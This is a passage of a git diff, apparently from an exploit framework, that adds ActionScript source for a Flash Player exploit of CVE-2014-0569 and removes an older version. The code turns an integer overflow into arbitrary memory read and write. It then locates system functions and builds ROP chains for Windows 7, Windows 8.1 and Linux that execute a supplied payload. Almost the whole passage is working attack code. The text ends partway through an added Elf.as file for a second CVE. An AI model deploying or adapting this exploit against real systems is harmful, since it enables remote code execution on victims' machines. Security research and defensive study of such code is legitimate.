b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + for (i = 0; i < defrag.length; i++) { + defrag[i] = new ByteArray() + defrag[i].length = BYTE_ARRAY_SIZE + defrag[i].endian = "littleEndian" + } + + ba = new ByteArray() + ov[0] = ba + ov[0].length = BYTE_ARRAY_SIZE + ov[0].endian = "littleEndian" + + for (i = 1; i < ov.length; i++) { + ov[i] = new Vector.(1014) + ov[i][0] = 0x41424344 + } + + ApplicationDomain.currentDomain.domainMemory = ba; + // Make ByteArray length 0 so the casi32 integer overflow + // can be exploited + ba.atomicCompareAndSwapLength(1024, 0) + + try { + var uint_vector_pos:uint = search_uint_vector() + } catch (err:Error) { + Logger.log("[!] Exploit - Corrupted Vector. not found") + return + } + + // Overwrite uint vector length + var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff) + + for (i = 0; i < ov.length; i++) { + if (ov[i].length > 1024) { + uv = ov[i] + Logger.log("[*] Exploit - Corrupted Vector. found") + } else { + ov[i] = null + } + } + + exploiter = new Exploiter(this, platform, os, payload, uv) + } + + // Methods to use the integer overflow + private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint { + var mem:uint = 0 + var mem_first_pos:uint = 0 + + for (var i:uint = 0; i < limit; i = i + 4) { + mem = read_byte_array(i) + mem_first_pos = read_byte_array(i + 8) + if (mem == pattern && mem_first_pos == 0x41424344) { + return i + } + } + throw new Error() + } + + private function read_byte_array(offset:uint = 0):uint { + var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef) + return old + } + + private function write_byte_array(offset:uint = 0, value:uint = 0):uint { + var old:uint = read_byte_array(offset) + casi32(offset, old, value) + return old + } + } +} diff --git a/external/source/exploits/CVE-2014-0569/ExploitByteArray.as b/external/source/exploits/CVE-2014-0569/ExploitByteArray.as new file mode 100755 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2014-0569/ExploitVector.as b/external/source/exploits/CVE-2014-0569/ExploitVector.as new file mode 100755 index 0000000000..9fcbb01f7b --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 1014 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0569/Exploiter.as b/external/source/exploits/CVE-2014-0569/Exploiter.as new file mode 100755 index 0000000000..6e4eba3295 --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(10000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2014-0569/Logger.as b/external/source/exploits/CVE-2014-0569/Logger.as new file mode 100755 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2014-0569/Main.as b/external/source/exploits/CVE-2014-0569/Main.as deleted file mode 100755 index 5a7003b256..0000000000 --- a/external/source/exploits/CVE-2014-0569/Main.as +++ /dev/null @@ -1,285 +0,0 @@ -// Build how to: -// 1. Download the AIRSDK, and use its compiler. -// 2. Download the Flex SDK (4.6) -// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) -// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) -// 4. Build with: mxmlc -o msf.swf Main.as - -// Original code skeleton by @hdarwin89 for other exploits - -package -{ - import flash.display.Sprite - import flash.utils.ByteArray - import flash.system.ApplicationDomain - import avm2.intrinsics.memory.casi32 - import flash.display.LoaderInfo - import mx.utils.Base64Decoder - - public class Main extends Sprite - { - private var BYTE_ARRAY_SIZE:Number = 1024 - private var defrag:Vector. = new Vector.(100) - private var ov:Vector. = new Vector.(100) - private var uv:Vector. = new Vector.(100) - private var uv_index:uint - private var ba:ByteArray - private var b64:Base64Decoder = new Base64Decoder(); - private var payload:String = "" - - public function Main() - { - var i:uint = 0 - var j:uint = 0 - - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - payload = b64.toByteArray().toString(); - - for (i = 0; i < defrag.length; i++) { - defrag[i] = new ByteArray() - defrag[i].length = BYTE_ARRAY_SIZE - defrag[i].endian = "littleEndian" - } - - ba = new ByteArray() - ov[0] = ba - ov[0].length = BYTE_ARRAY_SIZE - ov[0].endian = "littleEndian" - - for (i = 1; i < ov.length; i++) { - ov[i] = new Vector.(1014) - ov[i][0] = ba - ov[i][1] = this - } - - for (i = 0; i < uv.length; i++) { - uv[i] = new Vector.(1014) - uv[i][0] = 0x41424344 - } - - var stack:Vector. = new Vector.(0x6400) - var payload_space:Vector. = new Vector.(0x6400) - - for (i = 1; i < ov.length; i++) { - ov[i][2] = stack - ov[i][3] = payload_space - } - - ApplicationDomain.currentDomain.domainMemory = ba; - // Make ByteArray length 0 so the casi32 integer overflow - // can be exploited - ba.atomicCompareAndSwapLength(1024, 0) - - var object_vector_pos:uint = search_object_vector() - var byte_array_object:uint = read_byte_array(object_vector_pos + 4) - 1 - var stack_object:uint = read_byte_array(object_vector_pos + 12) - 1 - var payload_space_object:uint = read_byte_array(object_vector_pos + 16) - 1 - var main:uint = read_byte_array(object_vector_pos + 8) - 1 - var uint_vector_pos:uint = search_uint_vector() - var object_vector_address:uint = read_byte_array(object_vector_pos - 16) + 12 - var uint_vector_address:uint = object_vector_address + (uint_vector_pos - object_vector_pos) - - // Overwrite uint vector length - var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff) - - for (i = 0; i < uv.length; i++) { - if (uv[i].length > 1024) { - uv_index = i - uv[i][0] = uint_vector_address - break - } - } - - var buffer_object:uint = vector_read(byte_array_object + 0x40) - var buffer:uint = vector_read(buffer_object + 8) - var stack_address:uint = vector_read(stack_object + 0x18) - var payload_address:uint = vector_read(payload_space_object + 0x18) - var vtable:uint = vector_read(main) - - // Set the new ByteArray length - ba.endian = "littleEndian" - ba.length = 0x500000 - - // Overwite the ByteArray data pointer and capacity - var ba_array:uint = buffer_object + 8 - var ba_capacity:uint = buffer_object + 16 - vector_write(ba_array) - vector_write(ba_capacity, 0xffffffff) - - // restoring the corrupted vector length since we don't need it - // anymore - byte_write(uv[uv_index][0], orig_length) - - var flash:uint = base(vtable) - var winmm:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", winmm) - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - // Continuation of execution - byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - // Put the payload (command) in memory - byte_write(payload_address + 8, payload, true); // payload - - // Put the fake vtabe / stack on memory - byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] - byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x10) - byte_write(0, 0x1000) - byte_write(0, 0x40) - byte_write(0, buffer + 0x8) // Writable address (4 bytes) - - // WinExec - byte_write(0, buffer + 0x10) - byte_write(0, payload_address + 8) - byte_write(0) - - byte_write(main, stack_address + 0x18000) // overwrite with fake vtable - - toString() // call method in the fake vtable - } - - // Methods to use the integer overflow - - private function search_object_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint { - var mem:uint = 0 - var mem_first_pos:uint = 0 - var next_length:uint = 0 - - for (var i:uint = 0; i < limit; i = i + 4) { - mem = read_byte_array(i) - mem_first_pos = read_byte_array(i + 8) - if (mem == pattern && mem_first_pos != 0x41424344) { - return i; - } - } - return -1; - } - - private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint { - var mem:uint = 0 - var mem_first_pos:uint = 0 - - for (var i:uint = 0; i < limit; i = i + 4) { - mem = read_byte_array(i) - mem_first_pos = read_byte_array(i + 8) - if (mem == pattern && mem_first_pos == 0x41424344) { - return i; - } - } - return -1; - } - - private function read_byte_array(offset:uint = 0):uint { - var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef) - return old - } - - private function write_byte_array(offset:uint = 0, value:uint = 0):uint { - var old:uint = read_byte_array(offset) - casi32(offset, old, value) - return old - } - - // Methods to use the corrupted vector for arbitrary reading/writing - - private function vector_write(addr:uint, value:uint = 0):void - { - addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] = value : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] = value - } - - private function vector_read(addr:uint):uint - { - return addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] - } - - // Methods to use the corrupted byte array for arbitrary reading/writing - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - // Methods to search the memory with the corrupted byte array - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) - var i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); - if (dll_name == name.toUpperCase()) { - break; - } - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } - } -} diff --git a/external/source/exploits/CVE-2014-0569/PE.as b/external/source/exploits/CVE-2014-0569/PE.as new file mode 100755 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/Elf.as b/external/source/exploits/CVE-2014-8440/Elf.as new file mode 100755 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + 